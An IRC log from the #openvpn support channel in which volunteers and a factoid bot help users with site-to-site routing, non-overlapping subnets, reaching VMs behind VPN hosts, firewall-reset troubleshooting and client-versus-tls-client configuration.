15:37 < Azrael_-> but wouldn't you have to set up manual routing for every host on each side if you're using the same subnet on both?
15:37 <+pekster> Nope, just the routers for the LANs
15:38 <+pekster> Details for exposing server-side and client-side (relative to OpenVPN) are in !clientlan and !serverlan
15:38 < Azrael_-> ok, don't really get it
15:38 <+pekster> More generic info on routing with openvpn in !route
15:38 <+pekster> It's basic routing; openvpn is just the transport
15:38 < Neozonz> sorry back
15:38 < Neozonz> basically I have 2 proxmox servers
15:38 < Neozonz> one in the US and one in EU
15:39 <+pekster> No clue what proxmox is: can we just call them severs?
15:39 < Azrael_-> i know but if both sides used the same subnet (192.168.0.x) you'd never know wether to route it through the vpn-tunnel or not
15:39 < Neozonz> i've assigned the VMs inside with 192.168.0.x addressing
15:39 < Neozonz> on both data centers
15:39 <+pekster> Ah, and you want the VMs to talk to the VMs at the "other" site?
15:39 < Neozonz> yes
15:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:39 <+pekster> Okay, super easy. Change your numering scheme on one end so they don't overlap
15:39 < Neozonz> they all also have public internet addresses as well
15:40 < Neozonz> all the 192.168.0.x addressing are unique between both data centers
15:40 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:40 <+pekster> Then set up OpenVPN on the 2 host machines using dedicated IPs for the VPN network itself. You can then happily route the private LANs at each end over OpenVPN like you would route any other protocol; OpenVPn can even set up the routing for you
15:40 <+pekster> Neozonz: hold on, you said you're using 192.168.0.0/24 at *both* LANs, right? You can't connect 2 networks with the same range like that
15:40 <+pekster> Use unique ranges
15:40 < Neozonz> yes
15:40 <+pekster> Make the 2nd one 192.168.1.0/24 for instance
15:41 < Neozonz> btw... pekster... did you go to seneca college by anychance?
15:41 < Azrael_-> just like i suggested from the start
15:41 <+pekster> No
15:41 < Neozonz> ok my bad lol
15:41 < Neozonz> so basically i need 3 subnets
15:41 < Neozonz> 1 for the bridge
15:41 < Neozonz> and 2 for each data center
15:41 <+pekster> Don't bridge
15:41 <+pekster> !whybridge
15:41 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
15:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
15:42 <+pekster> But yes, you will have a 3rd network for the routed VPN
15:42 <+pekster> OpenVPN uses the example network 10.8.0.0/24 in the !howto, but you're free to use any unique non-overlapping network you'd like
15:42 <+pekster> Then you simply route to the remote network's /24 (your 192.168.$site_number.0/24) over the VPN interface
15:43 <+pekster> We have flowcharts and steps for exposing both the server-side LAN and client-side LAN in !serverlan and !clientlan
15:43 < Neozonz> i guess I have to do this on the host machine (VM server)
15:43 < Azrael_-> that's suggested
15:43 <+pekster> Yea. In theory you could run this on a VM in your VM network too
15:44 <+pekster> Either method does effectivly the same thing, but if your VM host is the default gateway for your VMs, it's easier to do it on the gateway itself. It's not a problem otherwise, but you need a route on the LAN's default gateway that knows to route the remote VPN network to your local VPN node otherwise
15:45 <+pekster> (the flowcharts cover this part too)
15:45 < Neozonz> ok thanks!
15:45 < Neozonz> gonna try to implement it now :p
15:47 < Azrael_-> pekster: i know it's a little bit unrelated but do you have any idea for my debian-network-configuration problem? for you guru this should be easy   http://pastebin.com/VLNaN3GN
15:47 < Azrael_-> it happens on debian wheezy
15:49 <+pekster> I presume something in there doesn't match the expected syntax in interfaces(5). Maybe #debian is a better place to ask. This said, no clue why you're adding a route to something that's on-link; that's super-useless
15:50 < Azrael_-> k
15:50 < Azrael_-> already did there but got no information so far?
15:50 < Azrael_-> -? -!
16:05 -!- Neozonz [cdd2df82@gateway/web/cgi-irc/kiwiirc.com/ip.205.210.223.130] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
16:13 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Ping timeout: 245 seconds]
16:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
16:35 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
16:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:39 -!- Denial [Denial@05417302.skybroadband.com] has quit [Read error: Connection reset by peer]
16:46 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out]
16:53 -!- master_of_master [~master_of@p4FF24C04.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
16:57 -!- master_of_master [~master_of@p4FF24C64.dip0.t-ipconnect.de] has joined #openvpn
17:14 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 276 seconds]
17:20 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
17:27 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
17:28 -!- michaelhart [~michaelha@162.209.54.120] has quit [Write error: Broken pipe]
17:37 -!- p3rror [~mezgani@41.248.196.194] has quit [Ping timeout: 256 seconds]
17:40 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Quit: leaving]
17:43 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
17:45 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
17:48 -!- klong-2 [~klong@207.115.88.202] has joined #openvpn
17:48 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:50 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 264 seconds]
18:04 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
18:10 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
18:10 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
18:10 -!- Devastatr [~devas@186.214.15.217] has joined #openvpn
18:13 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
18:14 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
18:39 -!- rugmi [~cute_girl@c-69-180-31-138.hsd1.ga.comcast.net] has quit []
18:45 -!- arnotixe_ [~arno@ti0013a380-dhcp5814.bb.online.no] has joined #openvpn
18:49 <+pekster> !iptables
18:49 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf
18:49 <@vpnHelper> or iptables or (#4) These are just the basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You may try #netfilter
18:49 <+pekster> !forget iptables *
18:49 <@vpnHelper> Joo got it.
18:49 <+pekster> !learn iptables as To test if netfilter ("iptables rules") are your problem, disable all rules with an ACCEPT policy. See https://github.com/QueuingKoala/netfilter-samples/tree/master/reset-rules for a script to do this.
18:49 <@vpnHelper> Joo got it.
18:49 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
18:49 <+pekster> !learn iptables as See also the manpage section on firewalls at this link: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG
18:49 <@vpnHelper> Joo got it.
18:49 <+pekster> !learn iptables as These are just the basics to get you started as firewall design is beyond this channel's scope; you can also see #netfilter
18:49 <@vpnHelper> Joo got it.
18:49 -!- klong-2 [~klong@207.115.88.202] has quit [Ping timeout: 246 seconds]
18:50 <+pekster> ecrist: You might want to update your wiki with a reference to that github URL. Your wiki is quite possibly wrong depending on what state a user has netfilter in
18:50 <+pekster> (and not atomic and ugly for some other reasons)
18:50  * pekster finally wrapped up a solution with a pretty bow on top
18:58 <@ecrist> o.P
19:03 -!- C-S-B [~C-S-B@host86-161-28-160.range86-161.btcentralplus.com] has quit [Ping timeout: 246 seconds]
19:11 -!- C-S-B [~C-S-B@host86-162-206-115.range86-162.btcentralplus.com] has joined #openvpn
19:32 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
19:45 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 264 seconds]
19:47 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:04 -!- Devastatr [~devas@186.214.15.217] has quit [Changing host]
20:04 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
20:04 -!- Devastatr is now known as Devastator
20:12 -!- raidz is now known as raidz_away
20:24 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
21:42 -!- mikko [~mikko@211.24.39.87] has joined #openvpn
21:53 -!- julius_ [~14354s@141.41.92.122] has quit [Ping timeout: 264 seconds]
22:17 -!- wallbroken [~wallbroke@151.56.231.100] has quit []
22:25 -!- Sazpaimon_ [wat@96.227.217.235] has quit [Changing host]
22:25 -!- Sazpaimon_ [wat@unaffiliated/Sazpaimon] has joined #openvpn
22:50 <@krzee> !iptables
22:50 <@vpnHelper> "iptables" is (#1) To test if netfilter ("iptables rules") are your problem, disable all rules with an ACCEPT policy. See https://github.com/QueuingKoala/netfilter-samples/tree/master/reset-rules for a script to do this. or (#2) See also the manpage section on firewalls at this link: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG or (#3) These are just the basics to get you started
22:50 <@vpnHelper> as firewall design is beyond this channel's scope; you can also see #netfilter
22:51 <@krzee> nice =]
22:59 <+pekster> Yea, I'd seen way too many dis-functional "reset your netfilter rules" stuff, so I wrote one that works everywhere, under any shell
23:00 <+pekster> I had most of that in a github gist, but I put it in my netfilter-samples project and added a nicer readme
23:29 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:36 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
23:38 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
23:53 -!- arnotixe_ [~arno@ti0013a380-dhcp5814.bb.online.no] has quit [Ping timeout: 246 seconds]
--- Day changed Tue Sep 10 2013
00:25 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-gyeppwnxdhaatorx] has joined #openvpn
00:38 < map> hm
00:38 < map> maybe il try openvpn again now
00:59 -!- arnotixe_ [~arno@212.4.55.139] has joined #openvpn
01:05 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
01:05 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-hyacrnjvrhmykype] has quit [Ping timeout: 245 seconds]
01:05 -!- tyteen4a03 [tyteen4a03@2001:470:e2e4::] has quit [Ping timeout: 245 seconds]
01:05 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 264 seconds]
01:05 -!- APTX [~APTX@unaffiliated/aptx] has quit [Quit: No Ping reply in 180 seconds.]
01:06 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
01:06 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-fjphqbqvbralqbzy] has quit [Ping timeout: 264 seconds]
01:06 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 245 seconds]
01:07 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
01:07 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
01:07 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
01:07 -!- TypoNe [~itsme@195.197.184.87] has quit [Read error: Operation timed out]
01:07 -!- Neozonz|Discx2 [~Neozonz@unaffiliated/neozonz] has joined #openvpn
01:07 < Neozonz|Discx2> could some assist me?
01:07 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
01:07 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Ping timeout: 245 seconds]
01:08 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 264 seconds]
01:08 < Neozonz|Discx2> I've setup a p2p configuration between 2 servers in a data center but I cannot seem to reach via ping
01:08 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
01:08 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
01:08 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
01:09 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Ping timeout: 245 seconds]
01:09 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
01:10 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
01:10 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 245 seconds]
01:11 -!- Eugene [eugene@badcryp.to] has quit [Quit: ZNC - http://znc.sourceforge.net]
01:11 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Quit: quit]
01:11 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Remote host closed the connection]
01:11 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
01:12 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
01:12 -!- riddle [riddle@us.yunix.net] has joined #openvpn
01:12 -!- arnotixe_ [~arno@212.4.55.139] has quit [Ping timeout: 256 seconds]
01:13 < Neozonz|Discx2> nevermind got it
01:30 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:30 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Read error: Connection timed out]
01:31 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
01:41 -!- tyteen4a03 [tyteen4a03@2001:470:e2e4::] has joined #openvpn
01:41 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
01:41 -!- mode/#openvpn [+o dazo_afk] by ChanServ
01:41 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
01:41 -!- dazo_afk is now known as dazo
01:42 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
01:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
01:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:47 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:53 < Neozonz|Discx2> How does one make openvpn avaliable to proxmox containers?
01:55 < hyper_ch> ?
01:56 < Neozonz|Discx2> i've installed and configured openvpn on to host promox servers
01:56 < Neozonz|Discx2> on *TWO
01:56 < Neozonz|Discx2> they can ping each other and the vm's they contain
01:56 < Neozonz|Discx2> but from inside the vm they cannot ping each other
02:17 < hyper_ch> why not install openvpn in the vms?
02:23 < Neozonz|Discx2> i'd have to create many point2point connections
02:23 < Neozonz|Discx2> i'd rather just 1 on each dedicated server
02:26 < Neozonz|Discx2> if anyone knows of any method to do this plz pm
02:26 < Neozonz|Discx2> gonna get some shut eye
02:26 < Neozonz|Discx2> thx for the help
02:26 < Azrael_-> can try to give you some hints lateron
02:49 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:02 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-umnoscewvlatepbg] has joined #openvpn
03:02 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-jihhrlxnmtvaxmjq] has joined #openvpn
03:03 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving]
03:04 <@krzee> Neozonz|Discx2,
03:04 <@krzee> !route
03:04 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
03:04 <@vpnHelper> the server or client
03:04 <@krzee> treat the VM's as a lan behind openvpn
03:34 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Read error: Connection reset by peer]
03:34 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
03:42 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
03:43 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
03:46 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:55 -!- crus [~crusader@2001:44b8:319e:2900:fc12:c999:946d:524b] has quit [Read error: Connection reset by peer]
04:00 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-gyeppwnxdhaatorx] has quit [Read error: Connection reset by peer]
04:01 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-gsntsewzotanojpk] has joined #openvpn
04:07 -!- M-Techni1 [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
04:11 -!- Netsplit *.net <-> *.split quits: hive-mind, folivora, Devastator, @krzee, defswork, _bt, dvl, Serano, dropje, +pekster,  (+49 more, use /NETSPLIT to show all of them)
04:12 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-nheqeorhvgvxlnnk] has joined #openvpn
04:17 -!- Netsplit over, joins: @krzee, kenyon, dropje, troyt, lickalott, krapper, sauce, VunKruz, vertigo, lbft (+2 more)
04:17 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
04:19 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
04:20 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
04:20 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-umnoscewvlatepbg] has joined #openvpn
04:20 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
04:20 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
04:20 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
04:20 -!- s0meone [~someone@somewhe.re] has joined #openvpn
04:20 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
04:20 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
04:20 -!- Azrael_- [~idjfiawej@adsl-62-167-40-41.adslplus.ch] has joined #openvpn
04:20 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
04:20 -!- Oroszlan [~Leo@coruscant.placeholder.fr] has joined #openvpn
04:20 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
04:20 -!- ppr [~peper@gentoo/developer/peper] has joined #openvpn
04:20 -!- Serano [~serano@rooty.be] has joined #openvpn
04:20 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
04:20 -!- Roelke [~Roelke@hostserv.nl] has joined #openvpn
04:20 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
04:20 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
04:20 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
04:20 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
04:20 -!- abyss [~abyss@i-free.pl] has joined #openvpn
04:20 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
04:20 -!- defswork [~andy@141.0.50.105] has joined #openvpn
04:20 -!- Paddez1 [paddez@nat/dcunetworkingsociety/x-cuyykuiskvtkogot] has joined #openvpn
04:20 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
04:20 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:20 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
04:20 -!- trumee_ [~parul@93.186.147.20] has joined #openvpn
04:20 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
04:20 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-lqlxbexdafxuttjk] has joined #openvpn
04:20 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
04:20 -!- pfoo [~pfoo@unaffiliated/pfoo] has joined #openvpn
04:20 -!- sailerboy [~sailerboy@sailerboy.net] has joined #openvpn
04:20 -!- derRicha1d [~derRichar@pippin.sigma-star.at] has joined #openvpn
04:20 -!- folivora [~out@46.19.34.64] has joined #openvpn
04:20 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
04:20 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
04:20 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
04:20 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
04:20 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has joined #openvpn
04:20 -!- klaxa [~klaxa@klaxa.eu] has joined #openvpn
04:20 -!- aegis [~aegis@184.75.214.82] has joined #openvpn
04:20 -!- Sazpaimon_ [wat@unaffiliated/Sazpaimon] has joined #openvpn
04:20 -!- ServerMode/#openvpn [+voo pekster vpnHelper novaflash] by holmes.freenode.net
04:20 -!- simcop2387 [~simcop238@simcop2387.info] has joined #openvpn
04:21 -!- ppr [~peper@gentoo/developer/peper] has quit [Max SendQ exceeded]
04:21 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
04:21 -!- simcop2387 [~simcop238@simcop2387.info] has quit [Changing host]
04:21 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
04:22 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
04:38 -!- theGrg [~theGrg_@unaffiliated/thegrg] has joined #openvpn
04:39 < theGrg> Hello is there any OpenVPN client for Symbian devices?
04:44 -!- theGrg- [~theGrg_@unaffiliated/thegrg] has joined #openvpn
04:44 < hyper_ch> symbian devices still exist?
04:44 -!- theGrg [~theGrg_@unaffiliated/thegrg] has quit [Read error: Operation timed out]
04:44 -!- theGrg- is now known as theGrg
04:45 < theGrg> They do in under-privileged societies
04:45 < hyper_ch> there's one for maemo but I don't think  there's one for symbian... sorry
04:47 < theGrg> Any idea if it would be hard to develop one?
04:48 < hyper_ch> I'm no developer
04:49 < hyper_ch> but for the right $$$ I'm sure someone would develop one
04:49 < hyper_ch> but maybe this is of help http://www.start-vpn.com/blog/2012/03/20/best-vpn-service-for-2012-symbian-os-how-to-setup-a-vpn-on-symbian-631746/
04:50 < hyper_ch> http://symbian.brothersoft.com/symbian-openvpn.html
04:50 <@vpnHelper> Title: Symbian openvpn Free Download (at symbian.brothersoft.com)
04:50 < hyper_ch> http://alivevpn.com/PPTP-VPN-client-application-Symbian
04:50 <@vpnHelper> Title: PPTP VPN client application for Symbian S60 (3rd edition) | AliveVPN.com - OpenVPN / PPTP / L2TP VPN (at alivevpn.com)
04:51 < hyper_ch> googel can also be your friend
04:56 < theGrg> So SymVPN it seems.
05:04 < hyper_ch> symvpn only seems to support pptp
05:05 < theGrg> Hm...
05:24 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 260 seconds]
05:27 -!- rapalax [~rapalax@94.100.23.163] has quit [Quit: Leaving]
05:42 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-nheqeorhvgvxlnnk] has quit [Read error: Connection reset by peer]
05:42 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jmypxcgqmjnmbmag] has joined #openvpn
05:46 -!- klong-2 [~klong@50.135.252.126] has joined #openvpn
05:48 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Read error: Connection reset by peer]
05:48 -!- klong-2 [~klong@50.135.252.126] has quit [Read error: Connection reset by peer]
06:04 -!- aegis [~aegis@184.75.214.82] has quit [Ping timeout: 260 seconds]
06:08 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jmypxcgqmjnmbmag] has quit [Ping timeout: 264 seconds]
06:29 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
06:29 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
06:29 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
06:34 -!- aegis [~aegis@184.75.214.82] has joined #openvpn
06:35 -!- admin_ [~admin@78-62-20-98.static.zebra.lt] has joined #openvpn
06:35 < wallbroken> hi, is there some rule do i need to know to make "ping <remote_server>" work properly with tls-client configuration? like some route rule...
06:37 < EugeneKay> !redirect
06:37 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
06:37 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
06:37 < EugeneKay> Is that what you want to do ^ ?
06:38 < EugeneKay> Send your pings(and other traffic) via the vpn link
06:38 < admin_> hello does anybody have tryed to use Open VPN GUI  on PCBSD if yes what is the configuration and how to make it to work ?
06:38 < wallbroken> no
06:38 < wallbroken> redirection works perfectly
06:38 < EugeneKay> There are a fair number of BSDites in this channel; my understanding is that it "just works" once you've built it, but I don't BSD myself.
06:38 < wallbroken> but i can't ping the other side
06:39 < wallbroken> ping 10.0.0.1 doesn't get response
06:40 < EugeneKay> Ah, so your vpn link is already up & running
06:40 < EugeneKay> But you can't ping the other side, WITIN the vpn link
06:41 < EugeneKay> Sounds like firewall
06:41 < wallbroken> 10.0.0.1 is the vpn server, 10.0.0.6 is the client side, trying to ping the server from the client doesn't give any response, but trying to navigate to internet trought the vpn server as a gateway, works well. is very strange situation
06:41 < EugeneKay> The security cargo cult has decided that ICMP is bad, see if you're blocking it at all
06:41 < wallbroken> using a simple "client" confion instead of "tls-client" i can ping
06:42 < wallbroken> the problem is only using tls-client, it sounds like some route rule to add?
06:43 < admin_> how many red colors you have using vpn  ?  try this test  http://ip-check.info/?lang=en
06:43 <@vpnHelper> Title: IP check (at ip-check.info)
06:43 < hyper_ch> why is googledns the default ping try in the flow chart? :)
06:43 < EugeneKay> --client expands to --pull --tls-client
06:43 < EugeneKay> If you're not --pull-ing, then you're not getting all of the options pushed by the server
06:43 < EugeneKay> So the tunnel won't work right
06:44 < EugeneKay> hyper_ch - because they're an easy-to-remember IP address that accepts pings
06:44 < wallbroken> yes, so, server pushes something that makes me ping working. the question is: what?
06:44 < EugeneKay> !logs
06:44 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
06:48 -!- mikko [~mikko@211.24.39.87] has quit [Ping timeout: 246 seconds]
07:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
07:09 -!- sitaktif [~sitaktif@kollok.org] has quit [Ping timeout: 260 seconds]
07:16 < wallbroken> is so simple, as the manpage mentions, "server" parameter pushes: "route 10.0.0.0 255.255.255.0" if is in client-to-client mode. if it is not, simply pushes "route 10.0.0.1"
07:18 < wallbroken> but never changed. let me see what --client does.
07:19 < wallbroken> ok, it does not something more of tls-client + pull. so, this is a mistake.
07:19 < wallbroken> :)
07:20 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-fuptxygsgghzvgbs] has joined #openvpn
07:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:37 < admin_> anybody tryed to launch openVPN GUI on PCBSD ?
07:38 < rob0> looks like a write-only IRC client
07:38 -!- julius_ [~14354s@141.41.92.122] has quit [Read error: Connection reset by peer]
07:48 -!- Diffen [~diffen@h-73-135.a219.corp.bahnhof.se] has joined #openvpn
08:03 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
08:07 -!- admin_ [~admin@78-62-20-98.static.zebra.lt] has quit [Read error: Connection reset by peer]
08:13 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Quit: ZNC - http://znc.sourceforge.net]
08:21 < wallbroken> EugeneKay, I saw logs:
08:21 < wallbroken> route.exe ADD 192.168.1.7 MASK 255.255.255.255 192.168.1.1 IF 2
08:21 < wallbroken> route.exe ADD 0.0.0.0 MASK 128.0.0.0 10.0.0.1
08:21 < wallbroken> route.exe ADD 128.0.0.0 MASK 128.0.0.0 10.0.0.1
08:22 < EugeneKay> No. Look at(or paste) the logs on the client to see what is being pushed by the server
08:22 < EugeneKay> There are options that you need to have
08:22 < EugeneKay> Or, just stop beign stupid and use --client
08:22 < wallbroken> yes, it's the log of the client
08:22 < EugeneKay> No, that is not.
08:22 < EugeneKay> !logs
08:22 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
08:23 < EugeneKay> !logfile
08:23 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
08:23 < EugeneKay> That is an absolutely useless snippet
08:23 < wallbroken> do you want all the complete log?
